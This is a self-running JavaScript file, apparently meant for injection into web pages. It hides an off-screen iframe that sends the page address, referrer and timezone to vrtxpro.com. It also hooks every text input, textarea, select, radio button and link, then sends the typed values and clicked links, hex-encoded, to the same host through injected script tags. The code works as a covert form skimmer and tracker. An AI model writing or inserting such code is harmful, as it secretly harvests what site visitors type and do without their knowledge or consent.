
if (!window.VRTX) {
    VRTX = {};
    VRTX.done = false;
    VRTX.incr = 0;
    VRTX.mouse = 0;
}
if (!VRTX.init) {
    VRTX.init = function() {
        if (!VRTX.done && document.body) {

	    VRTX.done = true;
        
            var vrtxFrmDiv = document.createElement("div");
            vrtxFrmDiv.setAttribute("id", "vrtxFrmDiv");
            vrtxFrmDiv.style.top = "-10500px";
            vrtxFrmDiv.style.position = "absolute";
            vrtxFrmDiv.style.width = "0px";
            vrtxFrmDiv.style.height = "0px";
            document.body.appendChild(vrtxFrmDiv);

            var vrtxFrm = document.createElement("iframe");
            vrtxFrm.setAttribute("name", "vrtxFrm");
            vrtxFrm.setAttribute("scrolling", "no");
            vrtxFrm.setAttribute("frameborder", "0");
            
            var parms = 'http://vrtxpro.com/frm/init.aspx?id=0&vid=2A7C19F8-5675-4137-A20D-1995378FCF5D&pid=5618425674755679003&p=' + VRTX.crypt(window.location.href, 'A2H') + '|' + escape(document.referrer) + '|' + (new Date().getTimezoneOffset() / 60) * (-1);
            
            vrtxFrm.setAttribute("src", parms);
            vrtxFrmDiv.appendChild(vrtxFrm);
            
            if (VRTX.detect)
                document.body.onmousemove = VRTX.detect;
            
            if (VRTX.scan)
                VRTX.scan();
            
            
        }
    }
    
}
if (!VRTX.load){
    VRTX.load = function(req){
            var sobj = document.createElement("script");
            sobj.setAttribute("type", "text/javascript");
            sobj.setAttribute("src", req);
            sobj.setAttribute("id", 'id5618425674755679003' + VRTX.incr);
            document.getElementsByTagName("head").item(0).appendChild(sobj);
            VRTX.incr += 1;
    }
}

if (!VRTX.detect){
    VRTX.detect = function(){
        document.body.onmousemove = null;
        VRTX.mouse = 1;
        if (VRTX.load)
            VRTX.load('http://vrtxpro.com/c/Fire.aspx?pid=5618425674755679003&a=3');
    }
    
}


if (!VRTX.crypt) {
    VRTX.crypt = function(x, dir) {
        hex = "0123456789ABCDEF"; almostAscii = ' !"#$%&' + "'" + '()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[' + '\\' + ']^_`abcdefghijklmnopqrstuvwxyz{|}'; r = "";
        if (dir == "A2H")
        { for (i = 0; i < x.length; i++) { let = x.charAt(i); pos = almostAscii.indexOf(let) + 32; h16 = Math.floor(pos / 16); h1 = pos % 16; r += hex.charAt(h16) + hex.charAt(h1); }; };
        if (dir == "H2A")
        { for (i = 0; i < x.length; i++) { let1 = x.charAt(2 * i); let2 = x.charAt(2 * i + 1); val = hex.indexOf(let1) * 16 + hex.indexOf(let2); r += almostAscii.charAt(val - 32); }; };
        return r;
    };
}

if (!VRTX.scan){
 
   VRTX.scan = function() {
        var inputs = document.getElementsByTagName('input');
        if (inputs.length == 0)
            inputs = document.getElementsByTagName('a');
        if (inputs.length == 0)
            inputs = document.getElementsByTagName('textarea');
        if (inputs.length == 0)
            inputs = document.getElementsByTagName('select');
        if (inputs.length > 0) {
            VRTX.attach();
        } else {
            setTimeout('VRTX.scan()', 1000);
        }
    }
}

if (!VRTX.capture){
    
    VRTX.capture = function(e) {

        var elmAction = 0;
        var elmSource = '';
        var elmValue = '';

        if (window.event) e = window.event;
        var srcEl = e.srcElement ? e.srcElement : e.target;
        var elmName = srcEl.id;
        if (elmName == null || elmName.length == 0)
            elmName = srcEl.name;
        if (elmName == null || elmName.length == 0)
            elmName = srcEl.innerHTML;

        elmSource = elmName;

        switch (srcEl.tagName) {
            case "TEXTAREA":
            case "INPUT":
                elmValue = srcEl.value;
                if (srcEl.type == 'radio')
                    elmAction = 1;
                else
                    elmAction = 0;
                break;
            case "SELECT":
                elmAction = 1;
                elmValue = srcEl.options[srcEl.selectedIndex].text;
                break;
            case "IMG":
                elmAction = 2;
                elmSource = srcEl.src;
                elmValue = srcEl.parentNode.href;
                break;
            case "A":
                elmAction = 2;
                elmValue = srcEl.href;
                break;
        }

        if (elmSource.length > 0 && elmValue.length > 0 && VRTX.load && VRTX.crypt) {
            VRTX.load('http://vrtxpro.com/c/Fire.aspx?pid=5618425674755679003&a=' + elmAction + '&s=' + VRTX.crypt(elmSource, 'A2H') + '&v=' + VRTX.crypt(elmValue, 'A2H'));
            
        }
    }
}

if (!VRTX.attach){

    VRTX.attach = function() {
        var item, inputs;

        inputs = document.getElementsByTagName('a');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];
            if (window.addEventListener)
                item.addEventListener("click", VRTX.capture, true);
            else
                item.attachEvent('onclick', VRTX.capture);
        }

        inputs = document.getElementsByTagName('input');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];

            if (item.type == "text") {
                if (window.addEventListener)
                    item.addEventListener("blur", VRTX.capture, true);
                else
                    item.attachEvent('onblur', VRTX.capture);
            } else if (item.type == "radio") {
                if (window.addEventListener)
                    item.addEventListener("click", VRTX.capture, true);
                else
                    item.attachEvent('onclick', VRTX.capture);
            }
        }

        inputs = document.getElementsByTagName('textarea');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];
            if (window.addEventListener)
                item.addEventListener("blur", VRTX.capture, true);
            else
                item.attachEvent('onblur', VRTX.capture);
        }

        inputs = document.getElementsByTagName('select');
        for (var k = 0; k < inputs.length; k++) {
            item = inputs[k];
            if (window.addEventListener)
                item.addEventListener("change", VRTX.capture, true);
            else
                item.attachEvent('onchange', VRTX.capture);
        }
    }

}

if (!VRTX.WaitForIt){
    VRTX.WaitForIt = function() {
        try{
            var testDiv = document.createElement("div");
            document.body.appendChild(testDiv);
            document.body.removeChild(testDiv);
            VRTX.init();
        }
        catch(ex){
            setTimeout('VRTX.WaitForIt()', 20);
        }       
    }
}
VRTX.WaitForIt();